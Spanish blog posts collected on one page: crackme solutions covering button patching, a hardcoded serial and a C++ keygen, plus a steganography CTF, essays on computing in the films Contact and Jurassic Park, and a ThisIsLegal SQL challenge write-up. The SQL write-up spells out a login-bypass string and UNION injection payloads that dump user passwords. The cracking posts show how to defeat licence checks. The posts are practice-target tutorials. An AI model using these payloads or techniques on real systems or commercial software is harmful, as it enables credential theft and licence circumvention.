Solución al Crackme 3 de Sotanez

Introducción

Este crackme pertenece a la página de Karpoff Spanish Tutor. Data del año 2000 y está realizado en «Borland Delphi 6.0 – 7.0», además, para resolverlo deberemos activar un botón y conseguir la clave de registro. La principal dificultad proviene a la hora de activar el botón ya que el serial es en realidad un serial hardcodeado muy sencillo.

Activar un botón en memoria

Existen numerosas herramientas para facilitarnos esta tarea, una de las más conocidas en el entorno del Cracking es «Veoveo» realizado por Crack el Destripador & Marmota hace ya unos añitos. Con el crackme ejecutado, ejecutamos VeoVeo y nos aparece el icono en la barra de tareas, hacemos click derecho y elegimos Activar Botones (manual) y ya tenemos el botón activado. Claro está que en cada ejecución del Crackme debemos de Re-activarlo.

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Activar el botón de forma permanente

Lo que siempre nos interesa es que el botón esté activado de forma permanente y eso nos exige un poco más de atención. En este caso nos enfrentamos a Delphi y no nos sirve ni Resource Hacker ni Dede. Cuando nos encontramos en un punto muerto el último recurso siempre es realizar un programa en Delphi con un botón activado y otro desactivado y compararlos con un editor hexadecimal para saber que cambia. Si hacemos esto llegaremos a la conclusión de que en Delphi el bit que equivale a desactivado es 8 y ha activado es 9. Con este simple cambio ya tenemos el crackme parcheado. Comentar que en este caso el crackme no tiene ningún timer ni ninguna rutina que desactive el botón de forma periódica, este es el caso más simple.

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Serial Hardcodeado

Abrimos Ollydbg y en las «String references» encontramos los mensajes de versión registrada, pinchamos sobre ellos y vemos a simple vista la zona de comprobación del serial. Como podéis observar, el serial se vé a simple vista.

0045811A   |.  B8 10824500         MOV EAX,CrackMe3.00458210                 ;  ASCII "ESCRIBE ALGO JOER"
0045811F   |.  E8 D889FDFF         CALL CrackMe3.00430AFC
00458124   |.  EB 5C               JMP SHORT CrackMe3.00458182
00458126   |>  807D FF 4F          CMP BYTE PTR SS:[EBP-1],4F - O
0045812A   |.  75 56               JNZ SHORT CrackMe3.00458182
0045812C   |.  807D FE 41          CMP BYTE PTR SS:[EBP-2],41 - A
00458130   |.  75 50               JNZ SHORT CrackMe3.00458182
00458132   |.  807D FD 45          CMP BYTE PTR SS:[EBP-3],45 - E
00458136   |.  75 4A               JNZ SHORT CrackMe3.00458182
00458138   |.  807D FC 4B          CMP BYTE PTR SS:[EBP-4],4B - K
0045813C   |.  75 44               JNZ SHORT CrackMe3.00458182
0045813E   |.  807D FB 43          CMP BYTE PTR SS:[EBP-5],43 - C
00458142   |.  75 3E               JNZ SHORT CrackMe3.00458182
00458144   |.  807D FA 41          CMP BYTE PTR SS:[EBP-6],41 - A
00458148   |.  75 38               JNZ SHORT CrackMe3.00458182
0045814A   |.  807D F9 52          CMP BYTE PTR SS:[EBP-7],52 - R
0045814E   |.  75 32               JNZ SHORT CrackMe3.00458182
00458150   |.  807D F8 4B          CMP BYTE PTR SS:[EBP-8],4B - K
00458154   |.  75 2C               JNZ SHORT CrackMe3.00458182
00458156   |.  807D F7 20          CMP BYTE PTR SS:[EBP-9],20 - 
0045815A   |.  75 26               JNZ SHORT CrackMe3.00458182
0045815C   |.  807D F6 49          CMP BYTE PTR SS:[EBP-A],49 - I
00458160   |.  75 20               JNZ SHORT CrackMe3.00458182
00458162   |.  807D F5 4F          CMP BYTE PTR SS:[EBP-B],4F - O
00458166   |.  75 1A               JNZ SHORT CrackMe3.00458182
00458168   |.  807D F4 54          CMP BYTE PTR SS:[EBP-C],54 - T
0045816C   |.  75 14               JNZ SHORT CrackMe3.00458182
0045816E   |.  807D F3 20          CMP BYTE PTR SS:[EBP-D],20 - 
00458172   |.  75 0E               JNZ SHORT CrackMe3.00458182
00458174   |.  807D F2 41          CMP BYTE PTR SS:[EBP-E],41 - A
00458178   |.  75 08               JNZ SHORT CrackMe3.00458182
0045817A   |.  807D F1 59          CMP BYTE PTR SS:[EBP-F],59 - Y
0045817E   |.  75 02               JNZ SHORT CrackMe3.00458182
00458180   |.  B3 01               MOV BL,1
00458182   |>  80FB 01             CMP BL,1
00458185   |.  75 4C               JNZ SHORT CrackMe3.004581D3
00458187   |.  BA 2C824500         MOV EDX,CrackMe3.0045822C
0045818C   |.  8B86 F4020000       MOV EAX,DWORD PTR DS:[ESI+2F4]
00458192   |.  E8 B5EBFDFF         CALL CrackMe3.00436D4C
00458197   |.  BA 48824500         MOV EDX,CrackMe3.00458248                 ;  ASCII "VERSION REGISTRADA :)"

Serial = YA TOI KRACKEAO

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Links


Intro Hoy tenemos aquí otro crackme sacado del baúl de los recuerdos. En este caso se trata de una protección
Toda esta aventura comienza con un archivo llamado pretty_raw, sin extensión. Porque sí. Porque las extensiones son una invención heredada
Rebuscando entre todo el caos que puede llegar a ser mi disco duro, he encontrado una serie de programas que
Introducción Esta vez se trata de un crackme realizado en VC++ 5.0/6.0 y en sus entrañas utiliza RSA-24. En este

Stego d33p

En este reto se nos entrega un archivo WAV de 9,92 MB. Tras escucharlo y analizarlo por encima con Audacity no llego a ningún lado por lo que me tiro al descarte de herramientas conocidas, y en ésta ocasión sale a escena DeepSound.

Sin más dilación extraemos el JPG y continuamos.

La aparición en escena de DeepSound me hace sospechar sobre el uso de herramientas conocidas y ¡bingo!, sale a escena StegHide. En esta ocasión el autor del reto nos lo ha puesto fácil y la extracción no requiere clave.

Al abrir el archivo TXT como texto vemos lo siguiente:

y si lo abrimos con un editor hexadecimal vemos esto otro:

Claramente el archivo esconde algo que por la repetición de los caracteres me hace sospechar de un simple XOR y efectivamente la flag está XOReada. Tras un ataque preliminar, digamos que los árboles no me dejaban ver el bosque, de modo que limpié los bytes correspondientes a la frase «this 󠁓󠁈󠁓󠁻󠁴is 󠀰󠀰󠁟󠀳󠀴the 󠁳󠁹󠁟󠁭󠀴flag 󠁮󠁽󠀠:)» y procesé de nuevo obteniendo por fin la ansiada flag.

RAW bytes
FF FE 74 00 68 00 69 00 73 00 20 00 40 DB 53 DC 40 DB 48 DC 40 DB 53 DC 40 DB 7B DC 40 DB 74 DC 69 00 73 00 20 00 40 DB 30 DC 40 DB 30 DC 40 DB 5F DC 40 DB 33 DC 40 DB 34 DC 74 00 68 00 65 00 20 00 40 DB 73 DC 40 DB 79 DC 40 DB 5F DC 40 DB 6D DC 40 DB 34 DC 66 00 6C 00 61 00 67 00 20 00 40 DB 6E DC 40 DB 7D DC 40 DB 20 DC 3A 00 29 00

Cleaned bytes [quitando this 󠁓󠁈󠁓󠁻󠁴is 󠀰󠀰󠁟󠀳󠀴the 󠁳󠁹󠁟󠁭󠀴flag 󠁮󠁽󠀠:)]
FF FE 40 DB 53 DC 40 DB 48 DC 40 DB 53 DC 40 DB 7B DC 40 DB 74 DC 40 DB 30 DC 40 DB 30 DC 40 DB 5F DC 40 DB 33 DC 40 DB 34 DC 40 DB 73 DC 40 DB 79 DC 40 DB 5F DC 40 DB 6D DC 40 DB 34 DC 40 DB 6E DC 40 DB 7D DC 40 DB 20 DC


clave XOR == 00fc60fb

Resultado
S   H   S   {   t   0   0   _   3   4   s   y   _   m   4   n   }

Tras las Pantallas de ‘Contact’: Un Viaje a Través del Hardware y del Software

Introducción

La película «Contact«, estrenada en 1997 y dirigida por Robert Zemeckis, es una adaptación de la novela homónima de Carl Sagan. Más allá de su profunda exploración sobre la existencia de vida extraterrestre y el debate entre ciencia y fe, la película ofrece un interesante vistazo a la tecnología de la época. En este análisis, nos enfocaremos en los aspectos tecnológicos presentes en la película, detallando los sistemas operativos, software y hardware utilizados por los protagonistas.

Sinopsis

La Dra. Eleanor «Ellie» Arroway, interpretada por Jodie Foster, es una científica dedicada al proyecto SETI (Búsqueda de Inteligencia Extraterrestre). Tras años de búsqueda, capta una señal proveniente del espacio profundo que contiene instrucciones para construir una máquina enigmática. A medida que se desarrolla la trama, Ellie enfrenta desafíos políticos, religiosos y personales mientras lucha por interpretar el mensaje y lo que podría significar para la humanidad.

Análisis Tecnológico

Sistemas Operativos y Software

Uno de los aspectos más destacados en Contact es la presencia del sistema operativo UNIX. A lo largo de la película, se observan pistas que indican su uso, como pegatinas en las pantallas con mensajes del estilo: «Join the UNIX PARTY (The open system platform)». UNIX, desarrollado en la década de 1970, es conocido por su estabilidad y eficiencia, características esenciales en entornos científicos y de investigación.

La utilización de Netscape Navigator es recurrente. El logo de Netscape aparece en varias ocasiones, especialmente durante las videoconferencias que se muestran sin retrasos apreciables. Netscape fue uno de los primeros navegadores web ampliamente utilizados y jugó un papel crucial en la expansión de Internet durante los años 90.

Es importante destacar que, aunque la película promueve la idea de sistemas abiertos a través del uso de UNIX, Netscape Navigator no era software libre en el momento en que se rodó la película. Durante esa época, antes de 1997, Netscape era un navegador propietario. Sin embargo, en sistemas UNIX, Netscape tenía poca competencia y era el navegador predominante, soportando estándares abiertos como HTTP y HTML. Curiosamente, en 1998, poco después del estreno de la película, Netscape liberó el código fuente de su navegador, iniciando el proyecto Mozilla y contribuyendo significativamente al movimiento del software libre.

El software o plataforma denominada MADDEN HADDEN es utilizado por los protagonistas en diversas localizaciones, sugiriendo que es un estándar en su campo. Aunque en la realidad no existe un software conocido con ese nombre en el ámbito científico, en la película parece ser una herramienta integral para el análisis de datos y comunicación.

Videoconferencias y Comunicaciones

Las videoconferencias sin «lags» (retrasos) que se muestran en la película son notables, especialmente considerando las limitaciones tecnológicas de la época. La presencia del logo de Netscape durante estas comunicaciones resalta el optimismo sobre las capacidades de Internet en 1997. En ese entonces, las conexiones de alta velocidad no eran comunes, y las videollamadas de calidad eran más una aspiración que una realidad.

Estándares y Sistemas Abiertos

La promoción de sistemas abiertos es evidente en la película. El uso de UNIX, basado en estándares abiertos, refleja una filosofía de colaboración y accesibilidad en el ámbito científico. Aunque Netscape Navigator no era software libre durante la producción de la película, su soporte para estándares abiertos de Internet lo convirtió en una herramienta esencial para la comunicación y el intercambio de información entre científicos y profesionales.

Hardware

En términos de hardware, la película presenta una variedad de equipos representativos de la tecnología de los años 90:

Monitor NEC MultiSync XE21: Un monitor CRT de 21 pulgadas conocido por su alta resolución y calidad de imagen, ideal para aplicaciones que requieren detalles precisos.

Monitores con marcas ocultas: Es interesante notar que en varios monitores se utilizan post-its o adhesivos para cubrir la marca y el modelo. Esto podría deberse a decisiones de producción para evitar publicidad no deseada o cuestiones legales relacionadas con derechos de marca.

Monitor CTX: Aunque no se especifica el modelo, los monitores CTX eran populares por su fiabilidad y rendimiento a un costo razonable.

Monitor Hansol Mazellan 17px: Los monitores Hansol eran reconocidos por su calidad en la reproducción de gráficos, siendo utilizados en diseño y aplicaciones multimedia.

Monitor IBM: IBM fue pionera en tecnología informática, y sus monitores eran sinónimo de calidad y durabilidad. Aunque no se especifica el modelo exacto, es probable que se trate de uno de sus populares monitores CRT utilizados en entornos profesionales.

Evolución de UNIX y Windows

Para entender el contexto tecnológico de la época, es útil comparar la evolución de UNIX y Windows, así como de los navegadores Netscape Navigator e Internet Explorer.

Detalles Adicionales

Cobertura de marcas: La práctica de cubrir las marcas y modelos en los monitores podría indicar un intento de la producción por crear un entorno más universal y atemporal, evitando asociar la tecnología presentada con productos específicos que podrían quedar obsoletos rápidamente. En bastantes fotogramas se nota que esto es completamente intencionado.

Representación de la tecnología: La película equilibra la precisión técnica con las necesidades narrativas. Si bien algunas representaciones, como las videoconferencias fluidas, eran tecnológicamente avanzadas para la época, sirven para enfatizar la conectividad y colaboración global entre los científicos.

SETI y la Búsqueda de Vida Extraterrestre: En Contact, la Dra. Ellie Arroway dedica su vida al proyecto SETI (Search for Extraterrestrial Intelligence), reflejando el esfuerzo real de la comunidad científica por encontrar señales de inteligencia extraterrestre. SETI es una iniciativa internacional que utiliza radiotelescopios para detectar posibles comunicaciones de civilizaciones fuera de la Tierra. La película captura la pasión y los desafíos asociados con este tipo de investigación, destacando la dedicación de los científicos que trabajan en el límite de lo conocido.

El Mensaje de Arecibo: El radiotelescopio de Arecibo en Puerto Rico juega un papel significativo tanto en la realidad como en la película. En 1974, desde este observatorio, se envió el famoso Mensaje de Arecibo, una transmisión de radio dirigida al cúmulo estelar M13, diseñada para demostrar los avances tecnológicos humanos y nuestra existencia a posibles civilizaciones extraterrestres. El mensaje contenía información codificada sobre la composición humana, nuestro sistema numérico, la estructura del ADN y nuestra posición en el sistema solar. En «Contact», aunque la señal recibida por Ellie proviene de Vega y no está directamente relacionada con el Mensaje de Arecibo, la película establece paralelismos con este acontecimiento histórico. La utilización de Arecibo como escenario subraya la conexión entre los esfuerzos reales y ficticios en la búsqueda de inteligencia extraterrestre. La película explora la posibilidad de que, así como enviamos mensajes al espacio, podríamos recibir respuestas o comunicaciones de otras civilizaciones.

Matthew McConaughey: Es interesante notar cómo este actor ha participado en dos de las películas más destacadas de la ciencia ficción: Contact e Interstellar. En Contact, McConaughey interpreta un papel secundario como Palmer Joss, un escritor y asesor espiritual que cuestiona las implicaciones éticas y filosóficas del descubrimiento científico. Diecisiete años después, en Interstellar, asume el rol protagonista de Cooper, un ex piloto de la NASA que emprende una misión interestelar para salvar a la humanidad.

Números primos: El inicio de la investigación seria de la señal extraterrestre en la película se desencadena cuando, al analizar la señal recibida, los científicos descubren que esta codifica una secuencia de números primos. Este hallazgo resulta crucial, ya que los números primos, al ser divisibles únicamente por 1 y por sí mismos, no surgen de forma aleatoria en procesos naturales conocidos. Su presencia en la señal sugiere intencionalidad e inteligencia detrás de su emisión, lo que confirma que no se trata de ruido cósmico sino de una posible comunicación deliberada desde una civilización avanzada. Este descubrimiento impulsa a los científicos a profundizar en la decodificación, marcando el verdadero inicio de la búsqueda de vida extraterrestre.

Conclusión

Contact no solo es una obra que invita a reflexionar sobre nuestro lugar en el universo y la posibilidad de vida más allá de la Tierra, sino que también es un retrato de la tecnología de su tiempo. La inclusión de sistemas operativos como UNIX, navegadores como Netscape y hardware específico refleja una atención al detalle que enriquece la narrativa. A pesar de que Netscape Navigator no era software libre durante la producción de la película, su presencia destaca la importancia de los estándares abiertos y la colaboración en el avance científico.

También destaca por su compromiso con la precisión científica, en gran parte debido a la influencia de Carl Sagan, autor de la novela original y asesor en la producción. La representación de los procedimientos del SETI, el análisis de señales y las discusiones éticas y filosóficas reflejan debates reales en la comunidad científica. La inclusión de elementos como el Mensaje de Arecibo y las operaciones del radiotelescopio añaden autenticidad a la narrativa y acercan al público a la realidad de la exploración espacial.

Bibliografía y Enlaces

Galería

Blooper Tech Movie XIV – Parque Jurásico

En Parque Jurásico (1993), la informática no es solo un elemento narrativo, es una pieza clave del suspense y del conflicto. A diferencia de otras películas donde las pantallas muestran interfaces ficticias o visualmente espectaculares pero irreales, Parque Jurásico opta por una aproximación sorprendentemente sobria y auténtica.

Durante bastantes escenas, se nos muestran terminales, ventanas de código y comandos que, lejos de ser decorativos, pertenecen a sistemas reales utilizados por programadores profesionales de principios de los años 90. Este detalle, que puede pasar desapercibido para el público general, resulta especialmente interesante desde un punto de vista técnico. En otras palabras, el trabajo de producción es excelente y destaca como una de las películas más respetuosas con la informática real de su época.

No es “código de película”: es software real

Uno de los puntos más interesantes es que el código que aparece en pantalla no fue escrito para la película. No hay pseudocódigo, ni pantallas diseñadas solo para quedar bonitas en cámara. Lo que se ve es software real, ejecutándose en el entorno Macintosh Programmer’s Workshop (MPW), el kit oficial de Apple para desarrolladores en aquellos años. El sistema operativo que se reconoce es un Macintosh clásico (System 7) corriendo sobre máquinas de la serie Quadra, auténticos pepinos para la época. Vamos, que cuando John Hammond decía aquello de «no hemos reparado en gastos», también iba en serio en lo informático.

«No hemos reparado en gastos»

En este punto no se le puede reprochar demasiado a la película. En líneas generales es bastante fiel a la novela, aunque la resolución del problema de seguridad se aborda de forma distinta. En el libro es el ingeniero Ray Arnold quien detecta el fallo y consigue reconducir la situación. En la película, sin embargo, el personaje desaparece cuando va a los barracones a restablecer la corriente del parque, con el resultado que todos conocemos.

Lo curioso es que muchos personajes sí cambian de forma notable con respecto al libro, el niño es mayor y más friki de los ordenadores, Ray Arnold no muere y acaba salvando la situación, o Gennaro es más atlético y bastante más valiente. Sin embargo, el gran disparate técnico permanece intacto.

En la novela se menciona de pasada a un equipo de informáticos de Cambridge que supuestamente colaboró en el diseño del software. Aun así, la puesta en marcha y la explotación del sistema recaen prácticamente en una sola persona, Dennis Nedry. Evidentemente, tanto al libro como al guion les viene de perlas que todo dependa de una única persona para que el desastre sea posible, pero cuesta aceptar que en un parque donde todo está duplicado, el control informático central dependa de una sola persona.

Curiosamente, en uno de los monitores de Nedry se puede ver una foto de Oppenheimer con la frase «Beginning of baby boom», de la que podemos sacar la conclusión de que Nedry es perfectamente consciente de que su trabajo puede tener consecuencias catastróficas e irreversibles. También es un maravilloso guiño del equipo de producción que nos está indicando exactamente donde se va originar el desastre.

Al final, Parque Jurásico no va de dinosaurios, ni siquiera de genética. Va de personas. Y, más concretamente, de personas con demasiado poder y muy pocos compañeros de equipo y poca supervisión.

Desde el punto de vista informático, la película es casi entrañable. Todo es serio, profesional y real… hasta que descubrimos que el sistema más complejo jamás construido depende, en la práctica, de un solo programador cabreado, mal pagado y con demasiadas líneas de código en la cabeza. Ningún comité de arquitectura, ninguna auditoría externa, ningún segundo par de ojos. Solo Dennis Nedry y su teclado. ¿Qué podía salir mal?

Lo curioso es que ni la película ni el libro se molestan en disimularlo demasiado. Te hablan de sistemas redundantes, de seguridad, de control absoluto… pero el corazón digital del parque es un castillo de naipes. Eso sí, un castillo de naipes programado en máquinas de primera, con software real y pantallas que hoy siguen pareciendo más creíbles que muchas producciones actuales.

Quizá por eso Parque Jurásico envejece tan bien. Porque, incluso cuando se equivoca, lo hace con honestidad. No intenta venderte magia disfrazada de tecnología. Te muestra ordenadores de verdad, código de verdad y errores muy humanos. Y al final, tanto en la novela como en la película, el mensaje es el mismo, puedes clonar dinosaurios, diseñar parques imposibles y rodearte de la mejor tecnología del mundo, que si todo depende de una sola persona, tarde o temprano, el sistema se vendrá abajo.

Y no, el problema no eran los dinosaurios, nunca lo fueron.

Keygen para el CrackMe #1 de ECloZion

Intro

Hoy nos enfrentamos a un crackme realizado en Delphi con un algoritmo bastante sencillo. Está empacado con UPX pero aquí no vamos a explicar como desempacarlo ya que UPX es un reductor de tamaño más que un empacador, incluso con el propio empacador podemos desempacarlo.

Nota: Si queréis ver el proceso completo de desempacado ver el siguiente video (http://youtu.be/c4CNY902SAE).

El algoritmo

Abrimos Olly y vamos a las string references, localizamos los mensajes de error y éxito y pulsamos sobre cualquiera.

stringref

Encima de los mensajes tenemos la rutina de comprobación del serial. En la primera imagen vemos que comprueba que no dejemos ningún campo vacío y a continuación se mete de lleno con el serial.

checkcamposenblanco

checkserial

Analicemos la rutina del serial.

00454882       |> /8B15 4C6C4500          /MOV EDX,DWORD PTR DS:[456C4C]      ; Concatena name + ECloZion + pronom   <---
00454888       |. |8B0D 506C4500          |MOV ECX,DWORD PTR DS:[456C50]
0045488E       |. |0FB6540A FF            |MOVZX EDX,BYTE PTR DS:[EDX+ECX-1]  ; Coje el dígito que toque
00454893       |. |8916                   |MOV DWORD PTR DS:[ESI],EDX         ; Mueve EDX a TEMP (inicialmente vale FFFFFFFF)
00454895       |. |833E 5F                |CMP DWORD PTR DS:[ESI],5F
00454898       |. |75 06                  |JNZ SHORT ECloZion.004548A0
0045489A       |. |C706 20000000          |MOV DWORD PTR DS:[ESI],20
004548A0       |> |8B17                   |MOV EDX,DWORD PTR DS:[EDI]
004548A2       |. |3116                   |XOR DWORD PTR DS:[ESI],EDX         ;  TEMP = TEMP xor digito
004548A4       |. |8136 CE9A5614          |XOR DWORD PTR DS:[ESI],14569ACE    ;  TEMP = TEMP xor 14569ACE
004548AA       |. |8B16                   |MOV EDX,DWORD PTR DS:[ESI]
004548AC       |. |8917                   |MOV DWORD PTR DS:[EDI],EDX
004548AE       |. |FF05 506C4500          |INC DWORD PTR DS:[456C50]
004548B4       |. |48                     |DEC EAX                            ; EAX = longitud del concatenado = contador del bucle.
004548B5       |.^\75 CB                  \JNZ SHORT ECloZion.00454882        ; Bucle --->
004548B7       |>  8137 F0BD6434          XOR DWORD PTR DS:[EDI],3464BDF0     ; TEMP 0 TEMP xor 3464BDF0

 

Ejemplo:

Nom: deurus
Prenom: any

d  e  u  r  u  s  E  C  l  o  Z  i  o  n  a  n  y
64 65 75 72 75 73 45 43 6C 6F 5A 69 6F 6E 61 6E 79

FFFFFFFF xor 64 = FFFFFF9B xor 14569ACE = EBA96555
EBA96555 xor 65 = EBA96530 xor 14569ACE = FFFFFFFE
FFFFFFFE xor 75 = FFFFFF8B xor 14569ACE = EBA96545
EBA96545 xor 72 = EBA96537 xor 14569ACE = FFFFFFF9
FFFFFFF9 xor 75 = FFFFFF8C xor 14569ACE = EBA96542
EBA96542 xor 73 = EBA96531 xor 14569ACE = FFFFFFFF
FFFFFFFF xor 45 = FFFFFFBA xor 14569ACE = EBA96574
EBA96574 xor 43 = EBA96537 xor 14569ACE = FFFFFFF9
FFFFFFF9 xor 6C = FFFFFF95 xor 14569ACE = EBA9655B
EBA9655B xor 6F = EBA96534 xor 14569ACE = FFFFFFFA
FFFFFFFA xor 5A = FFFFFFA0 xor 14569ACE = EBA9656E
EBA9656E xor 69 = EBA96507 xor 14569ACE = FFFFFFC9
FFFFFFC9 xor 6F = FFFFFFA6 xor 14569ACE = EBA96568
EBA96568 xor 6E = EBA96506 xor 14569ACE = FFFFFFC8
FFFFFFC8 xor 61 = FFFFFFA9 xor 14569ACE = EBA96567
EBA96567 xor 6E = EBA96509 xor 14569ACE = FFFFFFC7
FFFFFFC7 xor 79 = FFFFFFBE xor 14569ACE = EBA96570
--------------------------------------------------
Resultado = EBA96570
EBA96570 xor 3464BDF0 = DFCDD880 = 3754809472 --> nuestra serial

 KeyGen en C++

            char Nombre[20];
            GetWindowText(hwndEdit1, Nombre, 20);
            char prenom[20];
            GetWindowText(hwndEdit2, prenom, 20);
            char Serial[20];
            char concatenado[48];
            wsprintf(concatenado,"%sECloZion%s",Nombre,prenom);
            int len = strlen(concatenado);
            unsigned int suma = 0xFFFFFFFF;
                for(int i = 0; i < len; i = i + 1)
                {
                        suma = suma ^ concatenado[i];
                        suma = suma ^ 0x14569ACE;
                }
            suma = suma ^ 0x3464BDF0;
            wsprintf(Serial,"%u",suma);
            SetWindowText(hwndEdit3, TEXT(Serial));

 Links


http://youtu.be/mk_rzitZ4CM Lista de reproducción
Warning: This challenge is still active and therefore should not be resolved using this information. Aviso: Este reto sigue en
Intro Hoy tenemos aquí otro crackme sacado del baúl de los recuerdos. En este caso se trata de una protección
Intro Aquí tenemos un crackme clásico realizado en Visual C++. La única particularidad que tiene es que no muestra MessageBox

ThisIsLegal.com – SQL Challenge 2

Warning: This challenge is still active and therefore should not be resolved using this information.
Aviso: Este reto sigue en activo y por lo tanto no se debería resolver utilizando esta información.

Introducción

 Este reto consiste en lo siguiente, tenemos un formulario de Login standar que podemos pasar fácilmente y seguido han implementado una pregunta de seguridad adicional para cada usuario. El login lo muestro en la imágen inferior y lo pasamos con una inyección clásica.
Username: admin
Password: ‘or ‘1’=’1

Seguido tenemos la pregunta de seguridad.

Introducimos cualquier cosa y nos muestra el siguiente error.

El error nombra la tabla «security«, luego la usaremos.

Intentamos sin éxito inyectar en la pregunta de seguridad, de modo que nos centraremos en el login.

Inyección SQL Avanzada

Para inyectar a continuación meter cualquier nombre y la inyección en el password.

  • Sacando el nombre de la base de datos
SQLI: ' OR EXISTS(SELECT * FROM users WHERE name='admin' AND password LIKE '%w%') AND ''='
Response: Table 'thisi30_chal.users' doesn't exist
  • Sacando la versión de MySQL
SQLI: 0' UNION SELECT @@version,null'
Response: 5.5.36-cll
  • Nombre de la tabla
SQLI: 0' UNION SELECT table_name,null FROM information_schema.tables WHERE version = '10
Response: userdb
  •  Todas las columnas de la tabla security
SQLI: 0' UNION SELECT group_concat(column_name),null FROM information_schema.columns WHERE table_name = 'security
Response: ID,name,secquestion,answer
  • Todas las columnas de userdb
SQLI: 0' UNION SELECT group_concat(column_name),null FROM information_schema.columns WHERE table_name = 'userdb
Response: id,name,password

Ya tenemos las dos tablas que nos interesan con las columnas correspondintes, ahora vamos a por lo que hemos venido a buscar.

  • Obtener ID, name, password para los usuarios con ID = 1,2,3,4
SQLI: ' UNION SELECT concat(ID,0x3a,name,0x3a,password),null FROM userdb WHERE ID = '1
Response: 1:admin:fr0gger
SQLI: ' UNION SELECT concat(ID,0x3a,name,0x3a,password),null FROM userdb WHERE ID = '2
Response: 2:jack:simple123
SQLI: ' UNION SELECT concat(ID,0x3a,name,0x3a,password),null FROM userdb WHERE ID = '3
Response: 3:cr0pt:cr0p111
SQLI: ' UNION SELECT concat(ID,0x3a,name,0x3a,password),null FROM userdb WHERE ID = '4
Response: 4:us3r:a1b2c3
SQLI: ' UNION SELECT concat(ID,0x3a,name,0x3a,password),null FROM userdb WHERE ID = '5
Response: ERROR, there are only 4 users
  •  Obtener ID, name, secquestion, answer para los usuarios con ID = 1,2,3,4
SQLI:' UNION SELECT concat(ID,0x3a,name,0x3a,secquestion,0x3a,answer),null FROM security WHERE ID = '1
Response: 1:admin:mothers maiden name:*******
SQLI:' UNION SELECT concat(ID,0x3a,name,0x3a,secquestion,0x3a,answer),null FROM security WHERE ID = '2
Response: 2:jack:birthplace:*****
SQLI:' UNION SELECT concat(ID,0x3a,name,0x3a,secquestion,0x3a,answer),null FROM security WHERE ID = '3
Response: 3:cr0pt:querty:****
SQLI:' UNION SELECT concat(ID,0x3a,name,0x3a,secquestion,0x3a,answer),null FROM security WHERE ID = '4
Response: 4:us3r:favourite food:***
SQLI:' UNION SELECT concat(ID,0x3a,name,0x3a,secquestion,0x3a,answer),null FROM security WHERE ID = '5
Response: ERROR, there are only 4 users

 Aunque aquí se muestra el resumen final, hasta dar con la solución correcta tuve que probar hasta 20 inyecciones diferentes. Mi consejo es que leáis todos los manuales que podáis hasta entender correctamente a que os enfrentais ya que por ejemplo, con este reto se puede aprender perfectamente como funciona una inyección SQL más compleja.

Links

Solución al Time Trial de Detten

Intro

Hoy tenemos aquí otro crackme sacado del baúl de los recuerdos. En este caso se trata de una protección por tiempo límite a través de un keyfile llamado «data.det«. Disponemos de tres días o nueve sesiones antes de que el crackme expire.

El algoritmo

La primera vez que ejecutamos el crackme, crea el fichero «data.det» y realiza lo siguiente:

  • Lee el fichero data.det que inicialmente tiene 10 bytes a cero y el último byte un 60(`).
  • Comprueba que tenga 11 bytes (B) y continúa.
  • Al detectar el fichero vacío le mete valores codificandolos con XOR 6969. Los almacena en memoria 4030AB y siguientes.
00401000 t>/$  6A 00               PUSH 0                                    ; /pModule = NULL
00401002   |.  E8 0B020000         CALL <JMP.&KERNEL32.GetModuleHandleA>     ; \GetModuleHandleA
00401007   |.  A3 F4304000         MOV DWORD PTR DS:[4030F4],EAX             ;  kernel32.BaseThreadInitThunk
0040100C   |.  6A 00               PUSH 0                                    ; /hTemplateFile = NULL
0040100E   |.  68 80000000         PUSH 80                                   ; |Attributes = NORMAL
00401013   |.  6A 03               PUSH 3                                    ; |Mode = OPEN_EXISTING
00401015   |.  6A 00               PUSH 0                                    ; |pSecurity = NULL
00401017   |.  6A 00               PUSH 0                                    ; |ShareMode = 0
00401019   |.  68 000000C0         PUSH C0000000                             ; |Access = GENERIC_READ|GENERIC_WRITE
0040101E   |.  68 A2304000         PUSH timetria.004030A2                    ; |FileName = "DATA.DET"
00401023   |.  E8 DE010000         CALL <JMP.&KERNEL32.CreateFileA>          ; \CreateFileA
00401028   |.  83F8 FF             CMP EAX,-1
0040102B   |.  74 07               JE SHORT timetria.00401034
0040102D   |.  A3 14314000         MOV DWORD PTR DS:[403114],EAX             ;  kernel32.BaseThreadInitThunk
00401032   |.  EB 18               JMP SHORT timetria.0040104C
00401034   |>  6A 30               PUSH 30                                   ; /Style = MB_OK|MB_ICONEXCLAMATION|MB_APPLMODAL
00401036   |.  68 38304000         PUSH timetria.00403038                    ; |Title = "I don't like this !"
0040103B   |.  68 02304000         PUSH timetria.00403002                    ; |Text = "Where is my DATA.DET file?\r\nI can't run without it..."
00401040   |.  6A 00               PUSH 0                                    ; |hOwner = NULL
00401042   |.  E8 B3010000         CALL <JMP.&USER32.MessageBoxA>            ; \MessageBoxA
00401047   |.  E9 22010000         JMP timetria.0040116E
0040104C   |>  6A 00               PUSH 0                                    ; /pOverlapped = NULL
0040104E   |.  68 E0304000         PUSH timetria.004030E0                    ; |pBytesRead = timetria.004030E0
00401053   |.  6A 32               PUSH 32                                   ; |BytesToRead = 32 (50.)
00401055   |.  68 AB304000         PUSH timetria.004030AB                    ; |Buffer = timetria.004030AB
0040105A   |.  FF35 14314000       PUSH DWORD PTR DS:[403114]                ; |hFile = NULL
00401060   |.  E8 B9010000         CALL <JMP.&KERNEL32.ReadFile>             ; \ReadFile
00401065   |.  833D E0304000 0B    CMP DWORD PTR DS:[4030E0],0B
0040106C   |.  0F85 E9000000       JNZ timetria.0040115B
00401072   |.  BB AB304000         MOV EBX,timetria.004030AB
00401077   |.  68 E4304000         PUSH timetria.004030E4                    ; /pSystemTime = timetria.004030E4
0040107C   |.  E8 97010000         CALL <JMP.&KERNEL32.GetSystemTime>        ; \GetSystemTime
00401081   |.  803B 00             CMP BYTE PTR DS:[EBX],0
00401084   |.  75 22               JNZ SHORT timetria.004010A8               ;  Si existe el fichero salta a las comprobaciones
00401086   |.  51                  PUSH ECX
00401087   |.  33C9                XOR ECX,ECX
00401089   |.  EB 15               JMP SHORT timetria.004010A0
0040108B   |>  66:8B81 E4304000    /MOV AX,WORD PTR DS:[ECX+4030E4]          ;  |
00401092   |.  66:35 6969          |XOR AX,6969                              ;  |
00401096   |.  66:8981 AB304000    |MOV WORD PTR DS:[ECX+4030AB],AX          ;  |
0040109D   |.  83C1 02             |ADD ECX,2                                ;  | Bucle de codificacion de data.det por primera vez
004010A0   |>  83F9 08              CMP ECX,8                                ;  |
